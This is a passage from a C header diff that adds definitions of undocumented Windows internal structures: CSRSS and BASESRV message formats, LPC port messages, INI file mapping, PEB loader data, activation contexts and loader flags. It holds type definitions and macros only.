SubSystemTib; + + union + { + PVOID FiberData; + ULONG Version; + }; + + PVOID ArbitraryUserPointer; + struct _TIB *Self; +} TIB; +typedef TIB *PTIB; + + +// +// inifile mapping +// + +typedef struct _NLS_USER_INFO +{ + + /**/ /*|0xa0|*/ WCHAR iCountry[80]; + /**/ /*|0xa0|*/ WCHAR sCountry[80]; + /**/ /*|0xa0|*/ WCHAR sList[80]; + /**/ /*|0xa0|*/ WCHAR iMeasure[80]; + /**/ /*|0xa0|*/ WCHAR iPaperSize[80]; + /**/ /*|0xa0|*/ WCHAR sDecimal[80]; + /**/ /*|0xa0|*/ WCHAR sThousand[80]; + /**/ /*|0xa0|*/ WCHAR sGrouping[80]; + /**/ /*|0xa0|*/ WCHAR iDigits[80]; + /**/ /*|0xa0|*/ WCHAR iLZero[80]; + /**/ /*|0xa0|*/ WCHAR iNegNumber[80]; + /**/ /*|0xa0|*/ WCHAR sNativeDigits[80]; + /**/ /*|0xa0|*/ WCHAR iDigitSubstitution[80]; + /**/ /*|0xa0|*/ WCHAR sCurrency[80]; + /**/ /*|0xa0|*/ WCHAR sMonDecSep[80]; + /**/ /*|0xa0|*/ WCHAR sMonThouSep[80]; + /**/ /*|0xa0|*/ WCHAR sMonGrouping[80]; + /**/ /*|0xa0|*/ WCHAR iCurrDigits[80]; + /**/ /*|0xa0|*/ WCHAR iCurrency[80]; + /**/ /*|0xa0|*/ WCHAR iNegCurr[80]; + /**/ /*|0xa0|*/ WCHAR sPosSign[80]; + /**/ /*|0xa0|*/ WCHAR sNegSign[80]; + /**/ /*|0xa0|*/ WCHAR sTimeFormat[80]; + /**/ /*|0xa0|*/ WCHAR s1159[80]; + /**/ /*|0xa0|*/ WCHAR s2359[80]; + /**/ /*|0xa0|*/ WCHAR sShortDate[80]; + /**/ /*|0xa0|*/ WCHAR sYearMonth[80]; + /**/ /*|0xa0|*/ WCHAR sLongDate[80]; + /**/ /*|0xa0|*/ WCHAR iCalType[80]; + /**/ /*|0xa0|*/ WCHAR iFirstDay[80]; + /**/ /*|0xa0|*/ WCHAR iFirstWeek[80]; + /**/ /*|0xa0|*/ WCHAR sLocale[80]; + /**/ /*|0xaa|*/ WCHAR sLocaleName[85]; + /**/ /*|0x4|*/ ULONG UserLocaleId; + /**/ /*|0x8|*/ struct _LUID InteractiveUserLuid; + /**/ /*|0x44|*/ UCHAR InteractiveUserSid[68]; + /**/ /*|0x4|*/ ULONG ulCacheUpdateCount; +} NLS_USER_INFO, *PNLS_USER_INFO; // + +typedef struct _INIFILE_MAPPING_TARGET +{ + struct _INIFILE_MAPPING_TARGET* Next; + struct _UNICODE_STRING RegistryPath; +} INIFILE_MAPPING_TARGET, *PINIFILE_MAPPING_TARGET; + +typedef struct _INIFILE_MAPPING_VARNAME +{ + struct _INIFILE_MAPPING_VARNAME* Next; + UNICODE_STRING Name; + ULONG MappingFlags; + struct _INIFILE_MAPPING_TARGET* MappingTarget; +} INIFILE_MAPPING_VARNAME, *PINIFILE_MAPPING_VARNAME; + +typedef struct _INIFILE_MAPPING_APPNAME +{ + struct _INIFILE_MAPPING_APPNAME* Next; + UNICODE_STRING Name; + struct _INIFILE_MAPPING_VARNAME* VariableNames; + struct _INIFILE_MAPPING_VARNAME* DefaultVarNameMapping; +} INIFILE_MAPPING_APPNAME, *PINIFILE_MAPPING_APPNAME; + +typedef struct _INIFILE_MAPPING_FILENAME +{ + struct _INIFILE_MAPPING_FILENAME* Next; + UNICODE_STRING Name; + struct _INIFILE_MAPPING_APPNAME* ApplicationNames; + struct _INIFILE_MAPPING_APPNAME* DefaultAppNameMapping; +} INIFILE_MAPPING_FILENAME, *PINIFILE_MAPPING_FILENAME; + +typedef struct _INIFILE_MAPPING +{ + struct _INIFILE_MAPPING_FILENAME* FileNames; + struct _INIFILE_MAPPING_FILENAME* DefaultFileNameMapping; + struct _INIFILE_MAPPING_FILENAME* WinIniFileMapping; + ULONG Reserved; +} INIFILE_MAPPING, *PINIFILE_MAPPING; + +#define PORT_CONNECT (0x0001) + +#define PORT_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0x1) + +typedef struct _PORT_MESSAGE +{ + union { + struct + { + CSHORT DataLength; + CSHORT TotalLength; + } s1; + + ULONG Length; + + } u1; + + union + { + struct + { + CSHORT Type; + CSHORT DataInfoOffset; + } s2; + ULONG ZeroInit; + } u2; + + union + { + LPC_CLIENT_ID ClientId; + double DoNotUseThisField; // Force quadword alignment + }; + + ULONG MessageId; + union + { + LPC_SIZE_T ClientViewSize; // Only valid on LPC_CONNECTION_REQUEST message + ULONG CallbackId; // Only valid on LPC_REQUEST message + }; + // UCHAR Data[]; +} PORT_MESSAGE, *PPORT_MESSAGE; + +typedef struct _PORT_DATA_ENTRY { + LPC_PVOID Base; + ULONG Size; +} PORT_DATA_ENTRY, *PPORT_DATA_ENTRY; + +typedef struct _PORT_DATA_INFORMATION { + ULONG CountDataEntries; + PORT_DATA_ENTRY DataEntries[1]; +} PORT_DATA_INFORMATION, *PPORT_DATA_INFORMATION; + + // + // csrss & csrsrv related + // + + typedef ULONG CSR_API_NUMBER; + +#define CSR_API_PORT_NAME L"ApiPort" + + // + // This structure is filled in by the client prior to connecting to the CSR + // server. The CSR server will fill in the _Out_ fields if prior to accepting + // the connection. + // + + typedef struct _CSR_API_CONNECTINFO { + HANDLE ObjectDirectory; + PVOID SharedSectionBase; + PVOID SharedStaticServerData; + PVOID SharedSectionHeap; + ULONG DebugFlags; + ULONG SizeOfPebData; + ULONG SizeOfTebData; + ULONG NumberOfServerDllNames; + HANDLE ServerProcessId; + } CSR_API_CONNECTINFO, *PCSR_API_CONNECTINFO; + + // + // Message format for messages sent from the client to the server + // + + typedef struct _CSR_CLIENTCONNECT_MSG + { + ULONG ServerDllIndex; + PVOID ConnectionInformation; + ULONG ConnectionInformationLength; + } CSR_CLIENTCONNECT_MSG, *PCSR_CLIENTCONNECT_MSG; // + +#define CSR_NORMAL_PRIORITY_CLASS 0x00000010 +#define CSR_IDLE_PRIORITY_CLASS 0x00000020 +#define CSR_HIGH_PRIORITY_CLASS 0x00000040 +#define CSR_REALTIME_PRIORITY_CLASS 0x00000080 + + typedef struct _CSR_CAPTURE_HEADER { + ULONG Length; + PVOID RelatedCaptureBuffer; + ULONG CountMessagePointers; + PCHAR FreeSpace; + ULONG_PTR MessagePointerOffsets[1]; // Offsets within CSR_API_MSG of pointers + } CSR_CAPTURE_HEADER, *PCSR_CAPTURE_HEADER; + +#define WINSS_OBJECT_DIRECTORY_NAME L"\\Windows" + +#define CSRSRV_SERVERDLL_INDEX 0 +#define CSRSRV_FIRST_API_NUMBER 0 + +#define BASESRV_SERVERDLL_INDEX 1 +#define BASESRV_FIRST_API_NUMBER 0 + +#define CONSRV_SERVERDLL_INDEX 2 +#define CONSRV_FIRST_API_NUMBER 512 + +#define USERSRV_SERVERDLL_INDEX 3 +#define USERSRV_FIRST_API_NUMBER 1024 + +#define CSR_MAKE_API_NUMBER( DllIndex, ApiIndex ) \ + (CSR_API_NUMBER)(((DllIndex) << 16) | (ApiIndex)) + +#define CSR_APINUMBER_TO_SERVERDLLINDEX( ApiNumber ) \ + ((ULONG)((ULONG)(ApiNumber) >> 16)) + +#define CSR_APINUMBER_TO_APITABLEINDEX( ApiNumber ) \ + ((ULONG)((USHORT)(ApiNumber))) + +typedef struct _CSR_NT_SESSION +{ + struct _LIST_ENTRY SessionLink; + ULONG SessionId; + ULONG ReferenceCount; + STRING RootDirectory; +} CSR_NT_SESSION, *PCSR_NT_SESSION; + +typedef struct _CSR_API_MSG +{ + PORT_MESSAGE h; + union + { + CSR_API_CONNECTINFO ConnectionRequest; + struct + { + PCSR_CAPTURE_HEADER CaptureBuffer; + CSR_API_NUMBER ApiNumber; + ULONG ReturnValue; + ULONG Reserved; + union + { + CSR_CLIENTCONNECT_MSG ClientConnect; + ULONG_PTR ApiMessageData[ 46 ]; + } u; + }; + }; +} CSR_API_MSG, *PCSR_API_MSG; + +typedef +ULONG (*PCSR_CALLBACK_ROUTINE)( + _In_ _Out_ PCSR_API_MSG ReplyMsg + ); + +typedef struct _CSR_CALLBACK_INFO +{ + ULONG ApiNumberBase; + ULONG MaxApiNumber; + PCSR_CALLBACK_ROUTINE *CallbackDispatchTable; +} CSR_CALLBACK_INFO, *PCSR_CALLBACK_INFO; + +// end csrss + + +// +// Time Zone +// + +typedef struct _RTL_DYNAMIC_TIME_ZONE_INFORMATION { + struct _RTL_TIME_ZONE_INFORMATION tzi; + WCHAR TimeZoneKeyName[ 128 ]; + UCHAR DynamicDaylightTimeDisabled; +} RTL_DYNAMIC_TIME_ZONE_INFORMATION, *PRTL_DYNAMIC_TIME_ZONE_INFORMATION; // + +// +// basesrv api +// + +typedef struct _BASESRV_API_CONNECTINFO +{ + ULONG ExpectedVersion; + HANDLE DefaultObjectDirectory; + ULONG WindowsVersion; + ULONG CurrentVersion; + ULONG DebugFlags; + WCHAR WindowsDirectory[ MAX_PATH ]; + WCHAR WindowsSystemDirectory[ MAX_PATH ]; +} BASESRV_API_CONNECTINFO, *PBASESRV_API_CONNECTINFO; + +typedef enum _BASESRV_API_NUMBER { + BasepCreateProcess = BASESRV_FIRST_API_NUMBER, + BasepCreateThread, + BasepGetTempFile, + BasepExitProcess, + BasepDebugProcess, + BasepCheckVDM, + BasepUpdateVDMEntry, + BasepGetNextVDMCommand, + BasepExitVDM, + BasepIsFirstVDM, + BasepGetVDMExitCode, + BasepSetReenterCount, + BasepSetProcessShutdownParam, + BasepGetProcessShutdownParam, + BasepSetVDMCurDirs, + BasepGetVDMCurDirs, + BasepBatNotification, + BasepRegisterWowExec, + BasepSoundSentryNotification, + BasepRefreshIniFileMapping, + BasepDefineDosDevice, + BasepSetTermsrvAppInstallMode, + BasepSetTermsrvClientTimeZone, + BasepSxsCreateActivationContext, + BasepDebugProcessStop, + BasepRegisterThread, + BasepDeferredCreateProcess, + BasepNlsGetUserInfo, + BasepNlsSetUserInfo, + BasepNlsUpdateCacheCount, + BasepMaxApiNumber +} BASESRV_API_NUMBER, *PBASESRV_API_NUMBER; + +typedef struct _BASE_NLS_SET_USER_INFO_MSG +{ + ULONG LCType; + USHORT* pData; + ULONG DataLength; +} BASE_NLS_SET_USER_INFO_MSG, *PBASE_NLS_SET_USER_INFO_MSG; + +typedef struct _BASE_NLS_GET_USER_INFO_MSG +{ + struct _NLS_USER_INFO* pData; + ULONG DataLength; +} BASE_NLS_GET_USER_INFO_MSG, *PBASE_NLS_GET_USER_INFO_MSG; + +typedef struct _BASE_NLS_UPDATE_CACHE_COUNT_MSG +{ + ULONG Reserved; +} BASE_NLS_UPDATE_CACHE_COUNT_MSG, *PBASE_NLS_UPDATE_CACHE_COUNT_MSG; + +typedef struct _BASE_UPDATE_VDM_ENTRY_MSG +{ + ULONG iTask; + ULONG BinaryType; + PVOID ConsoleHandle; + PVOID VDMProcessHandle; + PVOID WaitObjectForParent; + USHORT EntryIndex; + USHORT VDMCreationState; +} BASE_UPDATE_VDM_ENTRY_MSG, *PBASE_UPDATE_VDM_ENTRY_MSG; + +typedef struct _BASE_GET_NEXT_VDM_COMMAND_MSG +{ + ULONG iTask; + PVOID ConsoleHandle; + PVOID WaitObjectForVDM; + PVOID StdIn; + PVOID StdOut; + PVOID StdErr; + ULONG CodePage; + ULONG dwCreationFlags; + ULONG ExitCode; + PCHAR CmdLine; + PCHAR AppName; + PCHAR PifFile; + PCHAR CurDirectory; + PCHAR Env; + ULONG EnvLen; + struct _STARTUPINFOA* StartupInfo; + PCHAR Desktop; + ULONG DesktopLen; + PCHAR Title; + ULONG TitleLen; + PCHAR Reserved; + ULONG ReservedLen; + USHORT CurrentDrive; + USHORT CmdLen; + USHORT AppLen; + USHORT PifLen; + USHORT CurDirectoryLen; + USHORT VDMState; + UCHAR fComingFromBat; +} BASE_GET_NEXT_VDM_COMMAND_MSG, *PBASE_GET_NEXT_VDM_COMMAND_MSG; + +typedef struct _BASE_SHUTDOWNPARAM_MSG +{ + ULONG ShutdownLevel; + ULONG ShutdownFlags; +} BASE_SHUTDOWNPARAM_MSG, *PBASE_SHUTDOWNPARAM_MSG; + +typedef struct _BASE_GETTEMPFILE_MSG +{ + ULONG uUnique; +} BASE_GETTEMPFILE_MSG, *PBASE_GETTEMPFILE_MSG; + +typedef struct _BASE_DEBUGPROCESS_MSG +{ + ULONG dwProcessId; + CLIENT_ID DebuggerClientId; + PVOID AttachCompleteRoutine; +} BASE_DEBUGPROCESS_MSG, *PBASE_DEBUGPROCESS_MSG; // + +typedef struct _BASE_CHECKVDM_MSG +{ + ULONG iTask; + HANDLE ConsoleHandle; + ULONG BinaryType; + HANDLE WaitObjectForParent; + HANDLE StdIn; + HANDLE StdOut; + HANDLE StdErr; + ULONG CodePage; + ULONG dwCreationFlags; + PCHAR CmdLine; + PCHAR AppName; + PCHAR PifFile; + PCHAR CurDirectory; + PCHAR Env; + ULONG EnvLen; + LPSTARTUPINFOA StartupInfo; + PCHAR Desktop; + ULONG DesktopLen; + PCHAR Title; + ULONG TitleLen; + PCHAR Reserved; + ULONG ReservedLen; + USHORT CmdLen; + USHORT AppLen; + USHORT PifLen; + USHORT CurDirectoryLen; + USHORT CurDrive; + USHORT VDMState; + struct _LUID* UserLuid; +} BASE_CHECKVDM_MSG, *PBASE_CHECKVDM_MSG; + +typedef struct _BASE_GET_VDM_EXIT_CODE_MSG +{ + PVOID ConsoleHandle; + PVOID hParent; + ULONG ExitCode; +} BASE_GET_VDM_EXIT_CODE_MSG, *PBASE_GET_VDM_EXIT_CODE_MSG; // + +typedef struct _BASE_DEFERREDCREATEPROCESS_MSG +{ + struct _CLIENT_ID* ClientId; + ULONG NtUserFlags; +} BASE_DEFERREDCREATEPROCESS_MSG, *PBASE_DEFERREDCREATEPROCESS_MSG; // + +typedef struct _BASE_EXITPROCESS_MSG { + NTSTATUS uExitCode; +} BASE_EXITPROCESS_MSG, *PBASE_EXITPROCESS_MSG; // + +typedef struct _BASE_GET_SET_VDM_CUR_DIRS_MSG +{ + PVOID ConsoleHandle; + PCHAR lpszzCurDirs; + ULONG cchCurDirs; +} BASE_GET_SET_VDM_CUR_DIRS_MSG, *PBASE_GET_SET_VDM_CUR_DIRS_MSG; // + +typedef struct _BASE_SET_REENTER_COUNT +{ + PVOID ConsoleHandle; + ULONG fIncDec; +} BASE_SET_REENTER_COUNT, *PBASE_SET_REENTER_COUNT; // + +#if !defined(_WINNT_) || (defined(_MSC_VER) && (_MSC_VER >= 1300)) +typedef enum +{ + ACTCTX_RUN_LEVEL_UNSPECIFIED = 0, + ACTCTX_RUN_LEVEL_AS_INVOKER, + ACTCTX_RUN_LEVEL_HIGHEST_AVAILABLE, + ACTCTX_RUN_LEVEL_REQUIRE_ADMIN, + ACTCTX_RUN_LEVEL_NUMBERS +} ACTCTX_REQUESTED_RUN_LEVEL; + +typedef struct _ACTIVATION_CONTEXT_RUN_LEVEL_INFORMATION { + DWORD ulFlags; + ACTCTX_REQUESTED_RUN_LEVEL RunLevel; + DWORD UiAccess; +} ACTIVATION_CONTEXT_RUN_LEVEL_INFORMATION, * PACTIVATION_CONTEXT_RUN_LEVEL_INFORMATION; + +typedef const struct _ACTIVATION_CONTEXT_RUN_LEVEL_INFORMATION * PCACTIVATION_CONTEXT_RUN_LEVEL_INFORMATION; + + +#endif + +typedef struct _BASE_SXS_CREATEPROCESS_MSG +{ + ULONG Flags; + ULONG ProcessParameterFlags; + union + { + UNICODE_STRING CultureFallbacks; + ACTIVATION_CONTEXT_RUN_LEVEL_INFORMATION RunLevel; + UNICODE_STRING AssemblyName; + } u; +} BASE_SXS_CREATEPROCESS_MSG, *PBASE_SXS_CREATEPROCESS_MSG; // + + +typedef struct _BASE_CREATEPROCESS_MSG +{ + PVOID ProcessHandle; + PVOID ThreadHandle; + CLIENT_ID ClientId; + ULONG CreationFlags; + ULONG VdmBinaryType; + ULONG VdmTask; + PVOID hVDM; + struct _BASE_SXS_CREATEPROCESS_MSG Sxs; + ULONGLONG PebAddressNative; + ULONG PebAddressWow64; + USHORT ProcessorArchitecture; +} BASE_CREATEPROCESS_MSG, *PBASE_CREATEPROCESS_MSG; // + + +typedef struct _BASE_CREATETHREAD_MSG +{ + PVOID ThreadHandle; + CLIENT_ID ClientId; +} BASE_CREATETHREAD_MSG, *PBASE_CREATETHREAD_MSG; // + + +typedef struct _BASE_MSG_SXS_HANDLES +{ + PVOID File; + PVOID Process; + PVOID Section; + ULONGLONG ViewBase; +} BASE_MSG_SXS_HANDLES, *PBASE_MSG_SXS_HANDLES; // + + +typedef struct _BASE_EXIT_VDM_MSG +{ + PVOID ConsoleHandle; + ULONG iWowTask; + PVOID WaitObjectForVDM; +} BASE_EXIT_VDM_MSG, *PBASE_EXIT_VDM_MSG; // + + +typedef struct _BASE_IS_FIRST_VDM_MSG +{ + __int32 FirstVDM; +} BASE_IS_FIRST_VDM_MSG, *PBASE_IS_FIRST_VDM_MSG; // + + +typedef struct _BASE_SET_REENTER_COUNT_MSG +{ + PVOID ConsoleHandle; + ULONG fIncDec; +} BASE_SET_REENTER_COUNT_MSG, *PBASE_SET_REENTER_COUNT_MSG; // + + +typedef struct _BASE_BAT_NOTIFICATION_MSG +{ + PVOID ConsoleHandle; + ULONG fBeginEnd; +} BASE_BAT_NOTIFICATION_MSG, *PBASE_BAT_NOTIFICATION_MSG; // + + +typedef struct _BASE_REGISTER_WOWEXEC_MSG +{ + PVOID hEventWowExec; + PVOID ConsoleHandle; +} BASE_REGISTER_WOWEXEC_MSG, *PBASE_REGISTER_WOWEXEC_MSG; // + + +typedef struct _BASE_REFRESHINIFILEMAPPING_MSG +{ + UNICODE_STRING IniFileName; +} BASE_REFRESHINIFILEMAPPING_MSG, *PBASE_REFRESHINIFILEMAPPING_MSG; // + + +typedef struct _BASE_SET_TERMSRVCLIENTTIMEZONE +{ + struct _RTL_DYNAMIC_TIME_ZONE_INFORMATION* pDTZInfo; + ULONG ulDTZInfoSize; + KSYSTEM_TIME RealBias; + ULONG TimeZoneId; +} BASE_SET_TERMSRVCLIENTTIMEZONE, *PBASE_SET_TERMSRVCLIENTTIMEZONE; // + +typedef struct _BASE_SET_TERMSRVAPPINSTALLMODE +{ + __int32 bState; +} BASE_SET_TERMSRVAPPINSTALLMODE, *PBASE_SET_TERMSRVAPPINSTALLMODE; + + +typedef struct _BASE_SOUNDSENTRY_NOTIFICATION_MSG +{ + ULONG VideoMode; +} BASE_SOUNDSENTRY_NOTIFICATION_MSG, *PBASE_SOUNDSENTRY_NOTIFICATION_MSG; // + + +typedef struct _BASE_DEFINEDOSDEVICE_MSG +{ + ULONG Flags; + UNICODE_STRING DeviceName; + UNICODE_STRING TargetPath; +} BASE_DEFINEDOSDEVICE_MSG, *PBASE_DEFINEDOSDEVICE_MSG; // + +typedef struct _BASE_MSG_SXS_STREAM +{ + UCHAR FileType; + UCHAR PathType; + UCHAR HandleType; + UNICODE_STRING Path; + PVOID FileHandle; + HANDLE Handle; + unsigned __int64 Offset; + ULONG Size; +} BASE_MSG_SXS_STREAM, *PBASE_MSG_SXS_STREAM; // + + +typedef struct _BASE_SXS_CREATE_ACTIVATION_CONTEXT_MSG +{ + ULONG Flags; + USHORT ProcessorArchitecture; + UNICODE_STRING CultureFallbacks; + struct _BASE_MSG_SXS_STREAM Manifest; + struct _BASE_MSG_SXS_STREAM Policy; + UNICODE_STRING AssemblyDirectory; + UNICODE_STRING TextualAssemblyIdentity; + unsigned __int64 FileTime; + ULONG ResourceName; + PVOID ActivationContextData; + struct _ACTIVATION_CONTEXT_RUN_LEVEL_INFORMATION RunLevel; + UNICODE_STRING AssemblyName; +} BASE_SXS_CREATE_ACTIVATION_CONTEXT_MSG, *PBASE_SXS_CREATE_ACTIVATION_CONTEXT_MSG; // + + + +typedef struct _BASE_API_MSG +{ + PORT_MESSAGE h; + struct _CSR_CAPTURE_HEADER* CaptureBuffer; + CSR_API_NUMBER ApiNumber; + ULONG ReturnValue; + ULONG Reserved; + union + { /* size 0xb0*/ + BASE_NLS_SET_USER_INFO_MSG NlsSetUserInfo; + BASE_NLS_GET_USER_INFO_MSG NlsGetUserInfo; + BASE_NLS_UPDATE_CACHE_COUNT_MSG NlsCacheUpdateCount; + BASE_SHUTDOWNPARAM_MSG ShutdownParam; + BASE_CREATEPROCESS_MSG CreateProcess; + BASE_DEFERREDCREATEPROCESS_MSG DeferredCreateProcess; + BASE_CREATETHREAD_MSG CreateThread; + BASE_GETTEMPFILE_MSG GetTempFile; + BASE_EXITPROCESS_MSG ExitProcess; + BASE_DEBUGPROCESS_MSG DebugProcess; + BASE_CHECKVDM_MSG CheckVDM; + BASE_UPDATE_VDM_ENTRY_MSG UpdateVDMEntry; + BASE_GET_NEXT_VDM_COMMAND_MSG GetNextVDMCommand; + BASE_EXIT_VDM_MSG ExitVDM; + BASE_IS_FIRST_VDM_MSG IsFirstVDM; + BASE_GET_VDM_EXIT_CODE_MSG GetVDMExitCode; + BASE_SET_REENTER_COUNT SetReenterCount; + BASE_GET_SET_VDM_CUR_DIRS_MSG GetSetVDMCurDirs; + BASE_BAT_NOTIFICATION_MSG BatNotification; + BASE_REGISTER_WOWEXEC_MSG RegisterWowExec; + BASE_SOUNDSENTRY_NOTIFICATION_MSG SoundSentryNotification; + BASE_REFRESHINIFILEMAPPING_MSG RefreshIniFileMapping; + BASE_DEFINEDOSDEVICE_MSG DefineDosDeviceApi; + BASE_SET_TERMSRVAPPINSTALLMODE SetTermsrvAppInstallMode; + BASE_SET_TERMSRVCLIENTTIMEZONE SetTermsrvClientTimeZone; + BASE_SXS_CREATE_ACTIVATION_CONTEXT_MSG SxsCreateActivationContext; + } u; +} BASE_API_MSG, *PBASE_API_MSG; // + +typedef struct _BASE_STATIC_SERVER_DATA +{ + UNICODE_STRING WindowsDirectory; + UNICODE_STRING WindowsSystemDirectory; + UNICODE_STRING NamedObjectDirectory; + USHORT WindowsMajorVersion; + USHORT WindowsMinorVersion; + USHORT BuildNumber; + USHORT CSDNumber; + USHORT RCNumber; + WCHAR CSDVersion[128]; + SYSTEM_BASIC_INFORMATION SysInfo; + SYSTEM_TIMEOFDAY_INFORMATION TimeOfDay; + struct _INIFILE_MAPPING* IniFileMapping; + NLS_USER_INFO NlsUserInfo; + UCHAR DefaultSeparateVDM; + UCHAR IsWowTaskReady; + UNICODE_STRING WindowsSys32x86Directory; + UCHAR fTermsrvAppInstallMode; + RTL_DYNAMIC_TIME_ZONE_INFORMATION tziTermsrvClientTimeZone; + KSYSTEM_TIME ktTermsrvClientBias; + ULONG TermsrvClientTimeZoneId; + UCHAR LUIDDeviceMapsEnabled; + ULONG TermsrvClientTimeZoneChangeNum; +} BASE_STATIC_SERVER_DATA, *PBASE_STATIC_SERVER_DATA; // + +#define GDI_BATCH_BUFFER_SIZE 310 + +typedef struct _GDI_TEB_BATCH { + ULONG Offset; + UCHAR Alignment[4]; + ULONG_PTR HDC; + ULONG Buffer[GDI_BATCH_BUFFER_SIZE]; +} GDI_TEB_BATCH,*PGDI_TEB_BATCH; + +typedef enum _EVENT_TYPE { + NotificationEvent, + SynchronizationEvent +} EVENT_TYPE; + +typedef enum _TIMER_TYPE { + NotificationTimer, + SynchronizationTimer +} TIMER_TYPE; + +typedef enum _WAIT_TYPE { + WaitAll, + WaitAny +} WAIT_TYPE; + +#define STATIC_UNICODE_BUFFER_LENGTH 261 +#define WIN32_CLIENT_INFO_LENGTH 62 + +#define WIN32_CLIENT_INFO_SPIN_COUNT 1 + +typedef PVOID* PPVOID; + +#define TLS_MINIMUM_AVAILABLE 64 + +typedef struct _ASSEMBLY_STORAGE_MAP_ENTRY { + + ULONG Flags; + UNICODE_STRING DosPath; + PVOID Handle; +} ASSEMBLY_STORAGE_MAP_ENTRY, *PASSEMBLY_STORAGE_MAP_ENTRY; + +typedef struct _ASSEMBLY_STORAGE_MAP { + + ULONG Flags; + ULONG AssemblyCount; + struct _ASSEMBLY_STORAGE_MAP_ENTRY** AssemblyArray; +} ASSEMBLY_STORAGE_MAP, *PASSEMBLY_STORAGE_MAP; + +typedef struct _ACTIVATION_CONTEXT_DATA { + ULONG Magic; + ULONG HeaderSize; + ULONG FormatVersion; + ULONG TotalSize; + ULONG DefaultTocOffset; + ULONG ExtendedTocOffset; + ULONG AssemblyRosterOffset; + ULONG Flags; +} ACTIVATION_CONTEXT_DATA, *PACTIVATION_CONTEXT_DATA; + +typedef struct _ACTIVATION_CONTEXT { + + LONG RefCount; + ULONG Flags; + LIST_ENTRY Links; + struct _ACTIVATION_CONTEXT_DATA* ActivationContextData; + //void (NotificationRoutine)(unsigned long, struct _ACTIVATION_CONTEXT*, void*, void*, void*, unsigned char*); + struct _ACTIVATION_CONTEXT* NotificationRoutine; + PVOID NotificationContext; + ULONG SentNotifications[8]; + ULONG DisabledNotifications[8]; + struct _ASSEMBLY_STORAGE_MAP StorageMap; + struct _ASSEMBLY_STORAGE_MAP_ENTRY* InlineStorageMapEntries[32]; + ULONG StackTraceIndex; + PVOID StackTraces[4][4]; +} ACTIVATION_CONTEXT, *PACTIVATION_CONTEXT; // + +typedef struct _PEB_FREE_BLOCK { + struct _PEB_FREE_BLOCK *Next; + ULONG Size; +} PEB_FREE_BLOCK, *PPEB_FREE_BLOCK; + +typedef struct _PEB_LDR_DATA +{ + ULONG Length; + BOOLEAN Initialized; + HANDLE SsHandle; + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + PVOID EntryInProgress; + BOOLEAN ShutdownInProgress; + HANDLE ShutdownThreadId; +} PEB_LDR_DATA, *PPEB_LDR_DATA; + +typedef struct _INITIAL_TEB +{ + struct + { + PVOID OldStackBase; + PVOID OldStackLimit; + } OldInitialTeb; + + PVOID StackBase; + PVOID StackLimit; + PVOID StackAllocationBase; + +} INITIAL_TEB, *PINITIAL_TEB; + +typedef struct _WOW64_PROCESS +{ + PVOID Wow64; +} WOW64_PROCESS, *PWOW64_PROCESS; + +// +// Private flags for loader data table entries +// + +#define LDRP_STATIC_LINK 0x00000002 +#define LDRP_IMAGE_DLL 0x00000004 +#define LDRP_LOAD_IN_PROGRESS 0x00001000 +#define LDRP_UNLOAD_IN_PROGRESS 0x00002000 +#define LDRP_ENTRY_PROCESSED 0x00004000 +#define LDRP_ENTRY_INSERTED 0x00008000 +#define LDRP_CURRENT_LOAD 0x00010000 +#define LDRP_FAILED_BUILTIN_LOAD 0x00020000 +#define LDRP_DONT_CALL_FOR_THREADS 0x00040000 +#define LDRP_PROCESS_ATTACH_CALLED 0x00080000 +#define LDRP_DEBUG_SYMBOLS_LOADED 0x00100000 +#define LDRP_IMAGE_NOT_AT_BASE 0x00200000 +#define LDRP_COR_IMAGE 0x00400000 +#define LDRP_COR_OWNS_UNMAP 0x00800000 +#define LDRP_SYSTEM_MAPPED 0x01000000 +#define LDRP_IMAGE_VERIFYING 0x02000000 +#define LDRP_DRIVER_DEPENDENT_DLL 0x04000000 +#define LDRP_ENTRY_NATIVE 0x08000000 +#define LDRP_REDIRECTED 0x10000000 +#define LDRP_NON_PAGED_DEBUG_INFO 0x20000000 +#define LDRP_MM_LOADED 0x40000000 +#define LDRP_COMPAT_DATABASE_PROCESSED 0x80000000 + +#define LDR_GET_DLL_HANDLE_EX_UNCHANGED_REFCOUNT 0x00000001 +#define LDR_GET_DLL_HANDLE_EX_P_In_ 0x00000002 + +#define LDR_ADDREF_DLL_P_In_ 0x00000001 + +#define LDR_GET_PROCEDURE_ADDRESS_DONT_RECORD_FORWARDER 0x00000001 + +#define LDR_LOCK_LOADER_LOCK_FLAG_RAISE_ON_ERRORS 0x00000001 +#define LDR_LOCK_LOADER_LOCK_FLAG_TRY_ONLY 0x00000002 + +#define LDR_LOCK_LOADER_LOCK_DISPOSITION_INVALID 0 +#define LDR_LOCK_LOADER_LOCK_DISPOSITION_LOCK_ACQUIRED 1 +#define LDR_LOCK_LOADER_LOCK_DISPOSITION_LOCK_NOT_ACQUIRED 2 + +#define LDR_UNLOCK_LOADER_LOCK_FLAG_RAISE_ON_ERRORS 0x00000001 + +#define LDR_DLL_NOTIFICATION_REASON_LOADED 1 +#define LDR_DLL_NOTIFICATION_REASON_UNLOADED 2 + +typedef struct _LDR_DLL_LOADED_NOTIFICATION_DATA +{ + ULONG Flags; + PUNICODE_STRING FullDllName; + PUNICODE_STRING BaseDllName; + PVOID DllBase; + ULONG SizeOfImage; +} LDR_DLL_LOADED_NOTIFICATION_DATA, *PLDR_DLL_LOADED_NOTIFICATION_DATA; + +typedef struct _LDR_DLL_UNLOADED_NOTIFICATION_DATA +{ + ULONG Flags; + PCUNICODE_STRING FullDllName; + PCUNICODE_STRING BaseDllName; + PVOID DllBase; + ULONG SizeOfImage; +} LDR_DLL_UNLOADED_NOTIFICATION_DATA, *PLDR_DLL_UNLOADED_NOTIFICATION_DATA; + +typedef union _LDR_DLL_NOTIFICATION_DATA +{ + LDR_DLL_LOADED_NOTIFICATION_DATA Loaded; + LDR_DLL_UNLOADED_NOTIFICATION_DATA Unloaded; +} LDR_DLL_NOTIFICATION_DATA, *PLDR_DLL_NOTIFICATION_DATA; + +typedef VOID (NTAPI *PLDR_DLL_NOTIFICATION_FUNCTION)( + _In_ ULONG NotificationReason, + _In_ PLDR_DLL_NOTIFICATION_DATA NotificationData, + _In_ OPTIONAL PVOID Context + ); + +typedef struct _RTL_PROCESS_MODULE_INFORMATION +{ + HANDLE Section; + PVOID MappedBase; + PVOID ImageBase; + ULONG ImageSize; + ULONG Flags; + USHORT LoadOrderIndex; + USHORT InitOrderIndex; + USHORT LoadCount; + USHORT OffsetToFileName; + UCHAR 